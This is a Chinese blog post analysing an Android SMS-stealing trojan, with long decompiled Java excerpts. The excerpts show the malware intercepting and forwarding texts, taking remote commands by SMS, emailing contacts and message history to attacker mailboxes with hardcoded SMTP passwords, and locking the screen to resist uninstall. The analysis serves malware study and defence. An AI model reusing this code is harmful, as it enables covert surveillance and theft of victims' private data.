1. 程式人生 > >木馬APP的簡單分析(Android Killer分析)

木馬APP的簡單分析(Android Killer分析)

com smtp pow super text lsm integer ref rar

本文作者:三星s7edge

一.此貼目的:分析一個木馬APP樣本的行為。—————————————————————————————————————————————————-
二.分析步驟及結果:

文件名稱:Project_Mod.apk
MD5值: 773833c1e4632aaa6b000e891dc49d4b
文件大小: 439.98KB
上傳時間: 2017-09-29 13:13:17
包名: com.nai.ke
最低運行環境: Android 4.0, 4.0.1, 4.0.2
版權: Android

1.在模擬器上安裝APP初步查看行為

由於給的樣本中沒有原來的APK文件,所以我只好用apktool進行了一次回編譯並簽名後得到了APK文件,才得以在模擬器上安裝。

技術分享

這裏看出程序是獲取鎖定屏幕的權限。

技術分享

技術分享

以上是這款APP的權限,包括讀取通訊錄短信的敏感權限。

2.我將這個APP文件上傳至哈勃分析系統

android.permission.WRITE_SMS        寫短信
android.permission.READ_SMS        讀取短信
android.permission.SEND_SMS        發送短信
android.permission.RECEIVE_SMS        監控接收短信
android.permission.INTERNET        連接網絡(2G或3G)
android.permission.READ_CONTACTS        讀取聯系人信息
android.permission.WRITE_CONTACTS        寫入聯系人信息
android.permission.WRITE_EXTERNAL_STORAGE        寫外部存儲器(如:SD卡)
android.permission.PROCESS_OUTGOING_CALLS        監視、修改有關撥出電話
android.permission.READ_PHONE_STATE        讀取電話狀態
android.permission.CALL_PHONE        撥打電話
android.permission.WRITE_CALL_LOG        寫入通話記錄
android.permission.RECEIVE_BOOT_COMPLETED        接收開機啟動廣播
android.permission.DISABLE_KEYGUARD        禁用鍵盤鎖
android.permission.WAKE_LOCK        手機屏幕關閉後後臺進程仍運行

技術分享

技術分享

至此其實就很清楚這個APP大概會在安卓系統裏幹些什麽了。

3.現在將此APK文件反編譯後的jar文件用Java Decompiler打開查看具體代碼

由於此木馬樣本比較簡單,我從頭到尾翻了一遍代碼,以下為較重要功能部分

在d.class中 獲取[email][email protected][/email]這個郵箱收到的郵件內容,有趣的是在郵箱後面還跟了一串字符串,是郵箱的密碼。

public void a(String paramString1, String paramString2)
 {
   String str = l.a(this.c, "zzxx", "tel");
   b localb = new b();
   localb.a("smtp.163.com", "25");
   try
   {
     localb.a("[email protected]", str + "(***收到DX***)", "發信人:" + paramString2 + "-內容:" + paramString1);
     localb.a(new String[] { "[email protected]" });
     localb.b("smtp.163.com", "[email protected]", "apowtzjtereitcao");
     return;
   }

在h.class中,攔截短信到並發送給15877587263

public h(String paramString1, String paramString2, Context paramContext)
{
this.a = paramString1;
this.b = paramString2;
this.c = paramContext;
}

protected String a(Integer... paramVarArgs)
{
publishProgress(new Integer[] { Integer.valueOf(1) });
a.b("攔截消息doInBackground");
a(this.a, this.b);
return "doInBackground:" + paramVarArgs;
}

protected void a(String paramString)
{
a.b("攔截消息後發送結束:" + paramString);
}

public void a(String paramString1, String paramString2)
{
a.b("content:" + paramString2);
String str1 = e.a(this.c, paramString1);
paramString2 = a.c(paramString2);
if (paramString2 == null) {}
for (;;)
{
return;
if (paramString2.size() == 1)
{
paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
if (a.a(paramString1)) {
continue;
}
try
{
a.b("sendMsg " + "15877587263" + "," + paramString1);
a.a("15877587263", paramString1);
a.b("sendMsg over");
return;
}
catch (Exception paramString1)
{
a.b("sendMsg exception:" + paramString1.getMessage());
return;
}
}
paramString2 = paramString2.iterator();
int j;
for (int i = 1; paramString2.hasNext(); i = j)
{
String str2 = (String)paramString2.next();
j = i + 1;
str2 = a.a(paramString1, str1, str2, i);
if (!a.a(str2)) {
try
{
a.b(j + "==sendMsg " + "15877587263" + "," + str2);
a.a("15877587263", str2);
a.b("sendMsg over");
i = j;
}
catch (Exception localException)
{
a.b("sendMsg exception:" + localException.getMessage());
}
}
}
}
}

protected void b(Integer... paramVarArgs)
{
a.b("攔截消息後準備發送中");
}

protected void onPreExecute()
{
a.b("攔截消息後準備發送");
}
}

在i.class中和dggng中的c.class,明顯就可以看出通過短信遠程操控的操作。

public void a(String paramString1, String paramString2)
{
SmsManager localSmsManager = SmsManager.getDefault();
Object localObject2;
Object localObject1;
Iterator localIterator1;
switch (paramString1.hashCode())
{
default:
case 49:
case 50:
case 51:
do
{
do
{
do
{
return;
} while (!paramString1.equals("1"));
l.a(this.e, "zzxx", "bo", "0");
localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font]", null, null);
return;
} while (!paramString1.equals("2"));
l.a(this.e, "zzxx", "bo", "1");
localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font]", null, null);
System.out.println(l.a(this.e, "zzxx", "bo"));
return;
} while ((!paramString1.equals("3")) || (k.a(this.e)));
localSmsManager.sendTextMessage("15877587263", null, "[font=微軟雅黑]設置成功[/font],請留意郵件", null, null);
this.b = new j(this.e);
this.a = new c(this.e);
localObject2 = (ArrayList)this.b.a();
localObject1 = this.a.a();
paramString1 = this.b.b();
paramString2 = "*************DXX*************<br><br>";
localIterator1 = paramString1.iterator();
label316:
if (!localIterator1.hasNext())
{
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
paramString2 = ((HashSet)localObject1).iterator();
if (paramString2.hasNext()) {
break label1340;
}
paramString2 = l.a(this.e, "zzxx", "tel");
localObject1 = new b();
((b)localObject1).a("smtp.163.com", "25");
}
break;
}
for (;;)
{
try
{
((b)localObject1).a("[email protected]", paramString2 + "(重新獲取的短信錄或通訊錄)" + "機型:" + Build.MODEL + ",系統版本:" + Build.VERSION.RELEASE, paramString1);
((b)localObject1).a(new String[] { "[email protected]" });
((b)localObject1).b("smtp.163.com", "[email protected]", "1634576908qq");
return;
}
catch (Addres**ception paramString1)
{
localSmsManager.sendTextMessage("15877587263", null, "獲取失敗", null, null);
paramString1.printStackTrace();
Log.e("wxl", "Addres**ception", paramString1);
return;
if (!paramString1.equals("4")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
System.out.println(l.a(this.e, "zzxx", "da"));
return;
if (!paramString1.equals("5")) {
break;
}
System.out.println("開始群發嗎?");
this.a = new c(this.e);
paramString1 = this.a.a();
if (l.b(this.e, "zzxx", "qf") != 0) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "開始群發", null, null);
paramString1 = paramString1.iterator();
if (!paramString1.hasNext())
{
localSmsManager.sendTextMessage("15877587263", null, "群發結束", null, null);
l.a(this.e, "zzxx", "qf", 1);
return;
if (!paramString1.equals("6")) {
break;
}
localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("7")) {
break;
}
l.a(this.e, "zzxx", "qf", 0);
localSmsManager.sendTextMessage("15877587263", null, "重置成功,請成功發送群指令", null, null);
return;
if (!paramString1.equals("8")) {
break;
}
localSmsManager.sendTextMessage("15877587263", null, "指令不正確,重新發送", null, null);
return;
if (!paramString1.equals("9")) {
break;
}
l.a(this.e, "zzxx", "xin", "1");
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("10")) {
break;
}
l.a(this.e, "zzxx", "xin", "0");
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("11")) {
break;
}
l.a(this.e, "zzxx", "da", "0");
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("12")) {
break;
}
l.a(this.e, "zzxx", "da", "1");
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("13")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
if (!paramString1.equals("14")) {
break;
}
paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
paramString1.addFlags(268435456);
this.e.startActivity(paramString1);
localSmsManager.sendTextMessage("15877587263", null, "設置成功", null, null);
return;
String str = (String)localIterator1.next();
paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR號碼:" + str + "************************" + "<br>";
Iterator localIterator2 = ((ArrayList)localObject2).iterator();
paramString2 = paramString1;
if (!localIterator2.hasNext()) {
break label316;
}
paramString2 = (e)localIterator2.next();
if (!str.equals(paramString2.b())) {
continue;
}
if (paramString2.d().equals("1"))
{
paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收發的短信時間:" + paramString2.c() + "]," + "短信內容:" + paramString2.a() + "</font>" + "<br>";
continue;
}
paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收發的短信時間:" + paramString2.c() + "]," + "短信內容:" + paramString2.a() + "</font>" + "<br>";
continue;
localObject1 = (a)paramString2.next();
paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + "\t" + ((a)localObject1).b() + "<br>" + "<br>";
}
}
catch (MessagingException paramString1)
{
label1340:
localSmsManager.sendTextMessage("15877587263", null, "獲取失敗", null, null);
paramString1.printStackTrace();
Log.e("wxl", "MessagingException", paramString1);
return;
}
localObject1 = (a)paramString1.next();
localObject2 = ((a)localObject1).b().replace("-", "").replace("\\s", "");
if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
}
}
}
}

值得註意的是在dggng中c.class的末尾 看出來作者可以有更改郵箱的操作 即控制客戶期間可以隨意更換目標郵箱

技術分享

這裏就是判斷是否短信發送成功及接收成功

技術分享

love HssSeervice.class和MainService.class中都有類似的獲取設備型號發送至郵箱的操作。

if (this.b.getInt(“IsFirstRun”, 1) == 1)

{

localObject1 = this.b.getString(“imsi”, c.k);

if (this.b.getInt(“isAdminActive”, 0) != 1) {

break label390;

}

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功啟動:\nI M S I 號 : ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已經激活,版本” + i + “\n” + “IMSI號: ” + (String)localObject1 + “\n” + “型號:” + Build.MODEL + “\n” + “對應的郵箱:” + love.qin.co.service.dggng.a.j);

}

}

for (;;)

{

localObject1 = this.b.edit();

((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);

((SharedPreferences.Editor)localObject1).commit();

a();

return;

label390:

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功啟動:\nI M S I 號: ” + (String)localObject1);

if (c.a(love.qin.co.service.dggng.a.d)) {

new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已經激活,版本” + i + “\n” + “IMSI號: ” + (String)localObject1 + “\n” + “型號:” + Build.MODEL + “\n” + “對應的郵箱:” + love.qin.co.service.dggng.a.j);

}

}

}

love MyAdmin.class中,這裏是判斷客戶是否激活了設備管理器

public class MyAdmin

extends DeviceAdminReceiver

{

public void onDisabled(Context paramContext, Intent paramIntent)

{

super.onDisabled(paramContext, paramIntent);

new a().a(“客戶已經取消激活”);

new e(“客戶已經取消激活!”);

}

public void onEnabled(Context paramContext, Intent paramIntent)

{

super.onEnabled(paramContext, paramIntent);

}

public void onReceive(Context paramContext, Intent paramIntent)

{

super.onReceive(paramContext, paramIntent);

System.out.println(“onreceiver”);

}

}

love PhoService.class攔截短信並轉發的具體代碼

public class PhoService
extends Service
{
String a = "";
int b = 0;
Handler c = new b(this);

private String a(List paramList)
{
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (a1)paramList.next();
String str1 = ((a1)localObject).e();
String str2 = ((a1)localObject).f();
String str3 = ((a1)localObject).b();
localObject = ((a1)localObject).a();
localStringBuilder.append("-------------------------\n");
localStringBuilder.append(" " + (String)localObject + " " + str1 + " " + str3 + " " + " 短信內容" + "\n");
localStringBuilder.append(str2 + "\n");
}
}

private String a(List paramList, int paramInt)
{
String.format("%1$-80s", new Object[] { " " });
StringBuilder localStringBuilder = new StringBuilder();
paramList = paramList.iterator();
for (;;)
{
if (!paramList.hasNext()) {
return localStringBuilder.toString();
}
Object localObject = (Map)paramList.next();
String str = (String)((Map)localObject).get("name");
localObject = (String)((Map)localObject).get("number");
localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ": " + (String)localObject }));
}
}

private List b()
{
ArrayList localArrayList = new ArrayList();
for (;;)
{
int i;
try
{
Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
if (!localCursor.moveToNext())
{
localCursor.close();
return localArrayList;
}
String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
i = localCursor.getInt(localCursor.getColumnIndex("type"));
if (i == 1)
{
String str1 = "接收";
continue;
localArrayList.add(new a1(str5, str6, str3, str7, str1));
continue;
str1 = "草稿";
String str3 = str4;
if (str4 != null) {
continue;
}
str3 = "";
continue;
}
if (i != 2) {
break label265;
}
}
catch (SQLiteException localSQLiteException)
{
return localArrayList;
}
String str2 = "發送;
continue;
label265:
if (i == 0) {
str2 = "未讀";
}
}
}


[b][color=#0000ff]在love d.class中是在執行獲取所有歷史短信[/color][/b]
[mw_shl_code=java,true] public void run()
{
try
{
Object localObject1 = new g(this.a.getApplicationContext());
String str = ((g)localObject1).c();
Object localObject2 = ((g)localObject1).b();
localObject1 = localObject2;
if (localObject2 == null) {
localObject1 = "";
}
if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
for (localObject1 = "電話:" + (String)localObject1 + "的所有短信記錄;; localObject1 = "IMSI:" + str + "的所有短信記")
{
str = PhoService.a(this.a, PhoService.a(this.a));
localObject2 = localObject1;
if (str.length() <= " ".length()) {
localObject2 = localObject1 + " 客戶手機限制,獲取歷史短信失敗";
}
localObject1 = new h();
love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
localc.a(a.i);
localc.b(a.r);
localc.a(true);
localc.f(a.f);
localc.d(a.g);
localc.c(a.f);
localc.e(a.h);
localc.g((String)localObject2);
localc.h(str);
((h)localObject1).a(localc);
}
}
}

在e.class中是在執行獲取通訊錄

public void run()

{

try

{

Object localObject1 = new g(this.a.getApplicationContext());

String str = ((g)localObject1).c();

Object localObject2 = ((g)localObject1).b();

localObject1 = localObject2;

if (localObject2 == null) {

localObject1 = “”;

}

if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}

for (localObject1 = “電話:” + (String)localObject1 + “的通訊錄”;; localObject1 = “IMSI號” + str + “的通訊錄”)

{

localObject2 = this.a.a();

str = PhoService.a(this.a, (List)localObject2, 1);

localObject2 = localObject1;

if (str.length() <= “ “.length()) {

localObject2 = localObject1 + ” 客戶手機限制,獲取通訊錄失敗”;

}

localObject1 = new h();

love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();

localc.a(a.i);

localc.b(a.r);

localc.a(true);

localc.f(a.f);

localc.d(a.g);

localc.c(a.f);

localc.e(a.h);

localc.g((String)localObject2);

localc.h(str);

((h)localObject1).a(localc);

x.x.x FSR.class中是在記錄手機當前是否在通話中

[b][color=#0000ff] [/color][/b]

public void onReceive(Context paramContext, Intent paramIntent)

{

Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);

String str = ((SharedPreferences)localObject).getString(“bo”, “1″);

localObject = ((SharedPreferences)localObject).getString(“da”, “0″);

Log.i(“PhoneStatReceiver”, str);

if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))

{

paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);

System.out.println(“正在打電話”);

if (localObject == “1″)

{

System.out.println(“打不出電話”);

setResultData(null);

}

Log.e(“msg”, “call OUT:” + paramContext);

}

do

{

return;

this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));

switch (this.a.getCallState())

{

default:

return;

case 0:

Log.e(“tag”, “電話空閑”);

return;

case 1:

Log.e(“tag”, “電話已掛斷”);

}

} while (str != “0″);

a();

return;

Log.e(“tag”, “電話已摘機”);

}

}

[color=#0000ff][b]在[/b][/color][b]x.x.x [/b][color=#0000ff][b]PAR.class中 通過[/b][/color][b][color=#0000ff]sendTextMessage發送短信告知魚試圖逃跑,即卸載程序[/color][/b]

public class PAReceiver

extends DeviceAdminReceiver

{

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)

{

paramIntent = l.a(paramContext, “zzxx”, “tel”);

com.b.a.a.b.a(paramIntent);

if (l.b(paramContext, “zzxx”, “pop”) == 0)

{

l.a(paramContext, “zzxx”, “pop”, 1);

SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “魚試圖逃跑”, null, null);

new a(this).start();

}

paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);

paramIntent.setFlags(268435456);

paramContext.startActivity(paramIntent);

paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);

paramContext.lockNow();

new Thread(new b(this, paramContext)).start();

return “”;

}

public void onDisabled(Context paramContext, Intent paramIntent) {}

public void onEnabled(Context paramContext, Intent paramIntent)

{

com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));

new c(this).start();

super.onEnabled(paramContext, paramIntent);

}

}

x.x.x a.class中 通過發送郵件告知魚試圖逃跑,也是在程序卸載時觸發

public void run()
{
System.out.println("執行發送郵件");
com.b.a.b.b localb = new com.b.a.b.b();
localb.a("smtp.163.com", "25");
try
{
localb.a("[email protected]", "安裝激活" + com.b.a.a.b.b() + "機型" + Build.MODEL + "系統型號:" + Build.VERSION.RELEASE, "哈哈魚到碗裏來了");
localb.a(new String[] { "[email protected]" });
localb.b("smtp.163.com", "[email protected]", "1634576908qq");
return;
}
catch (Addres**ception localAddres**ception)
{
localAddres**ception.printStackTrace();
Log.e("wxl", "Addres**ception", localAddres**ception);
return;
}
catch (MessagingException localMessagingException)
{
localMessagingException.printStackTrace();
Log.e("wxl", "MessagingException", localMessagingException);
}
}
}

三.總結

此貼僅為簡單APP木馬分析,能看出這是一款典型的遠程手機短信郵件控制的木馬程序,危害性挺大的,一般普通用戶中毒後基本無法察覺。
自我反思:在學習分析這個APP過程中,雖然能大概根據中文看出代碼意思,但是顯得很突兀,很多函數間的調用和聯系沒能準確看出來,文章感覺條理不是太清晰,感覺自己太菜了。

木馬APP的簡單分析(Android Killer分析)